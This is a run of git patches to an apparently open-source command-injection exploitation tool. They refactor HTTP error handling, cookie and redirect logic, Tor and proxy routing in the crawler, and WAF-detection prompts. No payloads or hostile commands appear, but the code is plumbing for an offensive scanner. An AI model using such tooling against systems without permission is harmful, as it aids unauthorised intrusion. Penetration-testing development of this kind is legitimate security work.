- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ response = proxy.use_proxy(request)
# Check if defined Tor.
elif menu.options.tor:
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 775f515b8c..cc428ebe44 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -83,8 +83,10 @@ def normalize_results(output_href):
if '=' in key and key not in seen:
results.append(target)
seen.add(key)
+ no_usable_links(results)
return results
elif message in settings.CHOICE_NO:
+ no_usable_links(output_href)
return output_href
elif message in settings.CHOICE_QUIT:
raise SystemExit()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e559278dfe..831fe707a7 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "52"
+REVISION = "53"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 4c55a872ae4a12387b65571478bc3439cb18fffc Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 2 Feb 2023 08:44:30 +0200
Subject: [PATCH 272/560] Minor update
---
src/core/injections/controller/checks.py | 12 +++++++++---
src/core/requests/headers.py | 9 ++++++---
src/utils/settings.py | 2 +-
3 files changed, 16 insertions(+), 7 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 61d4929a65..37b580ddaf 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -234,7 +234,12 @@ def connection_exceptions(err_msg, url):
"""
def not_declared_cookies(response):
try:
- candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1)
+ set_cookie_headers = []
+ for set_cookie_header in response.getheaders():
+ if settings.SET_COOKIE in set_cookie_header:
+ set_cookie_headers.append(re.search(r'([^;]+);?', set_cookie_header[1]).group(1))
+
+ candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_headers)
if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False:
settings.DECLARED_COOKIES = True
if menu.options.cookie:
@@ -245,8 +250,9 @@ def not_declared_cookies(response):
print(settings.SINGLE_WHITESPACE)
while True:
message = "You have not declared cookie(s), while "
- message += "server wants to set its own ('" + str(candidate) + "'). "
- message += "Do you want to use those [Y/n] > "
+ message += "server wants to set its own ('"
+ message += str(re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate))
+ message += "'). Do you want to use those [Y/n] > "
set_cookies = common.read_input(message, default="Y", check_batch=True)
if set_cookies in settings.CHOICE_YES:
menu.options.cookie = candidate
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 6f7158367c..c4243b47ba 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -210,6 +210,9 @@ def https_open(self, req):
page = checks.page_encoding(response, action="encode")
response_headers[settings.URI_HTTP_HEADER] = response.geturl()
response_headers = str(response_headers).strip("\n")
+ # Checks for not declared cookie(s), while server wants to set its own.
+ if not menu.options.drop_set_cookie:
+ checks.not_declared_cookies(response)
if settings.VERBOSITY_LEVEL > 2 or menu.options.traffic_file:
print_http_response(response_headers, code, page)
# Checks regarding a potential CAPTCHA protection mechanism.
@@ -218,12 +221,12 @@ def https_open(self, req):
checks.browser_verification(page)
# Checks regarding recognition of generic "your ip has been blocked" messages.
checks.blocked_ip(page)
- # Checks for not declared cookie(s), while server wants to set its own.
- if not menu.options.drop_set_cookie:
- checks.not_declared_cookies(response)
# This is useful when handling exotic HTTP errors (i.e requests for authentication).
except _urllib.error.HTTPError as err:
+ # Checks for not declared cookie(s), while server wants to set its own.
+ if not menu.options.drop_set_cookie:
+ checks.not_declared_cookies(err)
try:
page = checks.page_encoding(err, action="encode")
except Exception as ex:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 831fe707a7..0fe93b952e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "53"
+REVISION = "54"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From b93527d1cf212767067bfa9dfaa4216cda4c5394 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 3 Feb 2023 09:34:12 +0200
Subject: [PATCH 273/560] Improvements regarding parsing HTTP requests through
HTTP proxy (i.e `--proxy` option).
---
doc/CHANGELOG.md | 1 +
.../techniques/classic/cb_injector.py | 2 +-
.../techniques/eval_based/eb_injector.py | 2 +-
src/core/requests/proxy.py | 8 +-------
src/core/requests/requests.py | 15 +++++++++------
src/utils/crawler.py | 19 +++++++++++--------
src/utils/settings.py | 2 +-
7 files changed, 25 insertions(+), 24 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index a1937e8e5e..9ab42d8fee 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.7 (TBA)
+* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option).
* Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers).
* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout").
* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected.
diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py
index 01e7b3de25..14b214df45 100755
--- a/src/core/injections/results_based/techniques/classic/cb_injector.py
+++ b/src/core/injections/results_based/techniques/classic/cb_injector.py
@@ -96,7 +96,7 @@ def injection_test(payload, http_request_method, url):
Evaluate test results.
"""
def injection_test_results(response, TAG, randvcalc):
- if response == False:
+ if type(response) is bool and response != True:
return False
else:
# Check the execution results
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
index 8fd3a8cd04..c9d22ba4f6 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
@@ -91,7 +91,7 @@ def injection_test(payload, http_request_method, url):
Evaluate test results.
"""
def injection_test_results(response, TAG, randvcalc):
- if response == False:
+ if type(response) is bool and response != True:
return False
else:
html_data = checks.page_encoding(response, action="decode")
diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py
index 37ce5b41ce..14290cc5e4 100644
--- a/src/core/requests/proxy.py
+++ b/src/core/requests/proxy.py
@@ -32,13 +32,7 @@ def use_proxy(request):
request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
return _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
except Exception as err_msg:
- try:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- return False
- else:
- return checks.connection_exceptions(err_msg, url=request)
- except:
- return checks.connection_exceptions(err_msg, url=request)
+ return requests.request_failed(err_msg)
"""
Check if HTTP Proxy is defined.
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 4c14d60905..473f961280 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -40,6 +40,7 @@
"""
def estimate_response_time(url, timesec):
stored_auth_creds = False
+ _ = False
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Estimating the target URL response time. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
@@ -56,7 +57,7 @@ def estimate_response_time(url, timesec):
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
response.read(1)
response.close()
-
+ _ = True
except _http_client.InvalidURL as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
@@ -205,9 +206,9 @@ def estimate_response_time(url, timesec):
diff = end - start
if int(diff) < 1:
- if settings.VERBOSITY_LEVEL != 0 and stored_auth_creds == False:
- print(settings.SINGLE_WHITESPACE)
url_time_response = int(diff)
+ if settings.VERBOSITY_LEVEL != 0 and _:
+ print(settings.SINGLE_WHITESPACE)
if settings.TARGET_OS == "win":
warn_msg = "Due to the relatively slow response of 'cmd.exe' in target "
warn_msg += "host, there might be delays during the data extraction procedure."
@@ -344,14 +345,16 @@ def request_failed(err_msg):
if settings.MULTI_TARGETS:
err_msg += "Skipping to the next target."
print(settings.print_critical_msg(err_msg))
- if menu.options.auth_type and menu.options.auth_cred or settings.MULTI_TARGETS:
+ if (menu.options.auth_type and menu.options.auth_cred) or not settings.MULTI_TARGETS:
raise SystemExit()
if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \
settings.FORBIDDEN_ERROR in str(err_msg).lower() or \
settings.NOT_FOUND_ERROR in str(err_msg).lower():
reason = str(err_msg)
+
if settings.MULTI_TARGETS:
- if len(reason) != 0 and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR:
+ if len(reason) != 0 and (not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(reason)] or \
+ menu.options.ignore_code and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR):
reason = reason + ". Skipping to the next target."
print(settings.print_critical_msg(reason))
raise SystemExit()
@@ -365,7 +368,7 @@ def request_failed(err_msg):
settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
return True
else:
- if len(err_msg) != 0:
+ if len(err_msg) != 0 and not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index cc428ebe44..d8509ba8b5 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -76,13 +76,16 @@ def normalize_results(output_href):
if message in settings.CHOICE_YES:
seen = set()
for target in output_href:
- value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "")
- match = re.search(r"/[^/?]*\?.+\Z", value)
- if match:
- key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")
- if '=' in key and key not in seen:
- results.append(target)
- seen.add(key)
+ try:
+ value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "")
+ match = re.search(r"/[^/?]*\?.+\Z", value)
+ if match:
+ key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")
+ if '=' in key and key not in seen:
+ results.append(target)
+ seen.add(key)
+ except TypeError:
+ pass
no_usable_links(results)
return results
elif message in settings.CHOICE_NO:
@@ -334,7 +337,7 @@ def crawler(url, url_num, crawling_list):
link = 0
if output_href is not None:
for url in output_href:
- if url not in visited_hrefs:
+ if url not in visited_hrefs and url is not None:
link += 1
settings.CRAWLED_URLS_NUM = link
if settings.SINGLE_WHITESPACE in url:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 0fe93b952e..5af9bd7abb 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "54"
+REVISION = "55"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 5d0161887ac931c2b9a52b07cd6bc55eb0f0f2e3 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 4 Feb 2023 08:31:59 +0200
Subject: [PATCH 274/560] Minor update
---
src/core/main.py | 16 +++++++++++-----
src/core/requests/redirection.py | 5 +++--
src/core/requests/requests.py | 4 ++--
src/utils/crawler.py | 2 ++
src/utils/settings.py | 4 ++--
5 files changed, 20 insertions(+), 11 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index 8f60b3eebe..cdb16df8de 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -222,10 +222,11 @@ def url_response(url):
settings.CHECK_INTERNET = False
response = examine_request(request, url)
# Check for URL redirection
- if not menu.options.ignore_redirects:
- redirect_url = redirection.do_check(request, url)
- if redirect_url is not None:
- url = redirect_url
+ if type(response) is not bool and settings.FOLLOW_REDIRECT:
+ if response.geturl() != url:
+ redirect_url = redirection.do_check(request, url)
+ if redirect_url is not None:
+ url = redirect_url
return response, url
"""
@@ -236,6 +237,8 @@ def init_injection(url):
debug_msg = "Initializing the knowledge base."
print(settings.print_debug_msg(debug_msg))
# Initiate heuristic checks.
+ if not settings.FOLLOW_REDIRECT:
+ settings.FOLLOW_REDIRECT = True
if settings.SKIP_CODE_INJECTIONS:
settings.SKIP_CODE_INJECTIONS = False
if settings.SKIP_COMMAND_INJECTIONS:
@@ -564,7 +567,10 @@ def main(filename, url):
if menu.options.smoke_test:
smoke_test()
-
+
+ if menu.options.ignore_redirects:
+ settings.FOLLOW_REDIRECT = False
+
if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock:
settings.OS_CHECKS_NUM = 1
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index 86018b8e19..a4993ded69 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -71,8 +71,8 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
if not settings.FOLLOW_REDIRECT:
if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
- message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
- message += "Do you want to follow the identified redirection? [Y/n] > "
+ message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + response.geturl()
+ message += "'. Do you want to follow? [Y/n] > "
redirection_option = common.read_input(message, default="Y", check_batch=True)
if redirection_option in settings.CHOICE_YES:
settings.FOLLOW_REDIRECT = True
@@ -82,6 +82,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
settings.HREF_SKIPPED.append(response.geturl())
return checks.check_http_s(response.geturl())
elif redirection_option in settings.CHOICE_NO:
+ settings.FOLLOW_REDIRECT = False
if settings.CRAWLING:
settings.HREF_SKIPPED.append(url)
return url
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 473f961280..7d7be61904 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -333,7 +333,6 @@ def request_failed(err_msg):
pass
else:
err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). "
-
err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')"
if menu.options.auth_type and menu.options.auth_cred:
if settings.MULTI_TARGETS:
@@ -341,12 +340,13 @@ def request_failed(err_msg):
else:
err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. "
else:
- err_msg += " or rerun by providing option '--ignore-code=" +settings.UNAUTHORIZED_ERROR +"'. "
+ err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. "
if settings.MULTI_TARGETS:
err_msg += "Skipping to the next target."
print(settings.print_critical_msg(err_msg))
if (menu.options.auth_type and menu.options.auth_cred) or not settings.MULTI_TARGETS:
raise SystemExit()
+
if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \
settings.FORBIDDEN_ERROR in str(err_msg).lower() or \
settings.NOT_FOUND_ERROR in str(err_msg).lower():
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index d8509ba8b5..4c5d495f02 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -190,6 +190,8 @@ def request(url):
headers.check_http_traffic(request)
if menu.options.proxy:
response = proxy.use_proxy(request)
+ elif menu.options.tor:
+ response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
if not menu.options.ignore_redirects:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 5af9bd7abb..568b180a42 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "55"
+REVISION = "56"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -1228,7 +1228,7 @@ def sys_argv_errors():
SITEMAP_CHECK = None
-FOLLOW_REDIRECT = False
+FOLLOW_REDIRECT = True
# Set predefined answers (e.g. "quit=N,follow=N").
ANSWERS = ""
From 6b10092c1771a89b0417e5f4b2c989453549de3e Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 5 Feb 2023 08:44:24 +0200
Subject: [PATCH 275/560] Multiple minor fixes & updates
---
src/core/injections/controller/checks.py | 78 ++--------
.../techniques/classic/cb_handler.py | 1 -
.../techniques/classic/cb_injector.py | 2 +-
.../techniques/eval_based/eb_injector.py | 2 +-
src/core/main.py | 11 +-
src/core/requests/headers.py | 9 +-
src/core/requests/redirection.py | 34 ++--
src/core/requests/requests.py | 145 +++++++++++++-----
src/utils/crawler.py | 27 +---
src/utils/settings.py | 2 +-
10 files changed, 151 insertions(+), 160 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 37b580ddaf..03373b53cc 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -35,6 +35,7 @@
from src.thirdparty.odict import OrderedDict
from src.core.convert import hexdecode
from socket import error as SocketError
+from src.core.requests import requests
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -161,70 +162,14 @@ def user_aborted(filename, url):
"""
Connection exceptions
"""
-def connection_exceptions(err_msg, url):
- settings.VALID_URL = False
- try:
- error_msg = str(err_msg.args[0]).split("] ")[1]
- except IndexError:
- try:
- error_msg = str(err_msg.args[0])
- except IndexError:
- error_msg = str(err_msg)
- # if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING:
- # print(settings.SINGLE_WHITESPACE)
- if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]):
- settings.MAX_RETRIES = 1
- error_msg = "Can't establish SSL connection"
- elif "connection refused" in str(error_msg).lower():
- settings.MAX_RETRIES = 1
- else:
- if settings.TOTAL_OF_REQUESTS == 1:
- if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(error_msg):
- print(settings.SINGLE_WHITESPACE)
- if "IncompleteRead" in str(error_msg):
- warn_msg = "There was an incomplete read error while retrieving data "
- warn_msg += "from the target URL "
- else:
- warn_msg = "The provided target URL seems not reachable. "
- warn_msg += "In case that it is, please try to re-run using "
- if not menu.options.random_agent:
- warn_msg += "'--random-agent' switch and/or "
- warn_msg += "'--proxy' option."
- print(settings.print_warning_msg(warn_msg))
- if not settings.MULTI_TARGETS and not settings.CRAWLING:
- raise SystemExit()
- elif "infinite loop" in str(error_msg):
- error_msg = "Infinite redirect loop detected. "
- error_msg += "Please check all provided parameters and/or provide missing ones"
- elif "BadStatusLine" in str(error_msg):
- error_msg = "connection dropped or unknown HTTP "
- error_msg += "status code received."
- elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg):
- error_msg = "connection was forcibly closed by the target URL."
- elif settings.UNAUTHORIZED_ERROR in str(error_msg) and not menu.options.ignore_code:
- error_msg = "Not authorized, try to provide right HTTP "
- error_msg += "authentication type and valid credentials."
- if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
- error_msg += " If this is intended, try to rerun by providing "
- error_msg += "a valid value for option '--ignore-code'"
- if settings.MAX_RETRIES > 1 and not settings.CRAWLING:
- info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
- print(settings.print_info_msg(info_msg))
- error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")."
- _ = ""
- if isinstance(url, str):
- _ = " Skipping URL '" + str(url) + "'."
- if settings.MULTI_TARGETS or settings.CRAWLING:
- if len(_) == 0:
- _ = " Skipping to the next target."
- error_msg = error_msg + _
- if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING:
- print(settings.print_critical_msg(error_msg))
- if not settings.MULTI_TARGETS and not settings.CRAWLING:
- raise SystemExit()
+def connection_exceptions(err_msg):
+ requests.request_failed(err_msg)
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
if settings.MAX_RETRIES > 1:
time.sleep(settings.DELAY_RETRY)
+ if not settings.MULTI_TARGETS and not settings.CRAWLING:
+ info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
+ print(settings.print_info_msg(info_msg))
if not settings.VALID_URL :
if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS:
raise SystemExit()
@@ -735,9 +680,10 @@ def continue_tests(err):
return True
# Possible WAF/IPS/IDS
- if (str(err.code) == settings.FORBIDDEN_ERROR or settings.NOT_ACCEPTABLE_ERROR) and \
- not menu.options.skip_waf and \
- not settings.HOST_INJECTION :
+ if (str(err.code) == settings.FORBIDDEN_ERROR or \
+ str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \
+ not menu.options.skip_waf and \
+ not settings.HOST_INJECTION :
# Check if "--skip-waf" option is defined
# that skips heuristic detection of WAF/IPS/IDS protection.
settings.WAF_ENABLED = True
@@ -746,8 +692,8 @@ def continue_tests(err):
try:
while True:
- message = "Do you want to ignore the error (" + str(err.code)
- message += ") message and continue the tests? [Y/n] > "
+ message = "Do you want to ignore the response HTTP error code (" + str(err.code)
+ message += ") and continue the tests? [Y/n] > "
continue_tests = common.read_input(message, default="Y", check_batch=True)
if continue_tests in settings.CHOICE_YES:
return True
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 03ea59c81b..3d0c67f6de 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -170,7 +170,6 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
# Evaluate test results.
time.sleep(timesec)
shell = cb_injector.injection_test_results(response, TAG, randvcalc)
-
if settings.VERBOSITY_LEVEL == 0:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py
index 14b214df45..83db56226b 100755
--- a/src/core/injections/results_based/techniques/classic/cb_injector.py
+++ b/src/core/injections/results_based/techniques/classic/cb_injector.py
@@ -96,7 +96,7 @@ def injection_test(payload, http_request_method, url):
Evaluate test results.
"""
def injection_test_results(response, TAG, randvcalc):
- if type(response) is bool and response != True:
+ if type(response) is bool and response != True or response is None:
return False
else:
# Check the execution results
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
index c9d22ba4f6..efb42160b0 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
@@ -91,7 +91,7 @@ def injection_test(payload, http_request_method, url):
Evaluate test results.
"""
def injection_test_results(response, TAG, randvcalc):
- if type(response) is bool and response != True:
+ if type(response) is bool and response != True or response is None:
return False
else:
html_data = checks.page_encoding(response, action="decode")
diff --git a/src/core/main.py b/src/core/main.py
index cdb16df8de..14bbca449e 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -222,9 +222,9 @@ def url_response(url):
settings.CHECK_INTERNET = False
response = examine_request(request, url)
# Check for URL redirection
- if type(response) is not bool and settings.FOLLOW_REDIRECT:
+ if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None:
if response.geturl() != url:
- redirect_url = redirection.do_check(request, url)
+ redirect_url = redirection.do_check(request, url, response.geturl())
if redirect_url is not None:
url = redirect_url
return response, url
@@ -897,11 +897,11 @@ def main(filename, url):
if not check_for_injected_url(url):
settings.SKIP_VULNERABLE_HOST = None
http_request_method = checks.check_http_method(url)
- if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS:
+ if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS:
url_num += 1
perform_check = True
while True:
- print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
+ print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url))
message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
next_url = common.read_input(message, default="Y", check_batch=True)
if next_url in settings.CHOICE_YES:
@@ -933,6 +933,9 @@ def main(filename, url):
main(filename, url)
except:
pass
+ else:
+ url_num += 1
+ print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + url))
if url_num == len(clean_output_href):
raise SystemExit()
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index c4243b47ba..e4b1482cab 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -138,7 +138,7 @@ def http_open(self, req):
self.do_open(connection, req)
return super(connection_handler, self).http_open(req)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
- checks.connection_exceptions(err_msg, url=req)
+ checks.connection_exceptions(err_msg)
def https_open(self, req):
try:
@@ -146,7 +146,7 @@ def https_open(self, req):
self.do_open(connection, req)
return super(connection_handler, self).https_open(req)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
- checks.connection_exceptions(err_msg, url=req)
+ checks.connection_exceptions(err_msg)
opener = _urllib.request.build_opener(connection_handler())
@@ -188,9 +188,6 @@ def https_open(self, req):
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS
else:
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2
- if settings.VERBOSITY_LEVEL >= 1:
- debug_msg = "Got " + str(err_msg)
- print(settings.print_debug_msg(debug_msg))
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
break
@@ -199,7 +196,7 @@ def https_open(self, req):
pass
else:
if not settings.INIT_TEST:
- checks.connection_exceptions(err_msg, url=request)
+ checks.connection_exceptions(err_msg)
break
try:
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index a4993ded69..e7245ed4b2 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -24,15 +24,16 @@
from src.utils import menu
from src.utils import settings
from src.utils import common
+from src.core.requests import requests
from socket import error as SocketError
-from src.thirdparty.six.moves import http_client as _http_client
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
+from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.colorama import Fore, Back, Style, init
-def do_check(request, url):
+def do_check(request, url, redirect_url):
"""
This functinality is based on Filippo's Valsorda script [1].
---
@@ -58,12 +59,17 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (")
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
-
- opener = _urllib.request.build_opener(RedirectHandler())
+
+ try:
+ opener = _urllib.request.build_opener(RedirectHandler())
+ _urllib.request.install_opener(opener)
+ response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
+ except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg:
+ requests.crawler_request(redirect_url)
+
try:
- response = opener.open(request, timeout=settings.TIMEOUT)
- if url == response.geturl() or (settings.CRAWLING and response.geturl() in settings.HREF_SKIPPED):
- return response.geturl()
+ if settings.CRAWLING and redirect_url in settings.HREF_SKIPPED:
+ return redirect_url
elif settings.CRAWLING and url in settings.HREF_SKIPPED:
return url
else:
@@ -71,16 +77,16 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
if not settings.FOLLOW_REDIRECT:
if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
- message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + response.geturl()
+ message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url
message += "'. Do you want to follow? [Y/n] > "
redirection_option = common.read_input(message, default="Y", check_batch=True)
if redirection_option in settings.CHOICE_YES:
settings.FOLLOW_REDIRECT = True
- info_msg = "Following redirection to '" + response.geturl() + "'. "
+ info_msg = "Following redirection to '" + redirect_url + "'. "
print(settings.print_info_msg(info_msg))
if settings.CRAWLING:
- settings.HREF_SKIPPED.append(response.geturl())
- return checks.check_http_s(response.geturl())
+ settings.HREF_SKIPPED.append(url)
+ return checks.check_http_s(redirect_url)
elif redirection_option in settings.CHOICE_NO:
settings.FOLLOW_REDIRECT = False
if settings.CRAWLING:
@@ -92,12 +98,6 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
common.invalid_option(redirection_option)
pass
- except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg:
- if settings.VALID_URL:
- checks.connection_exceptions(err_msg, request)
- else:
- return url
-
except AttributeError:
return url
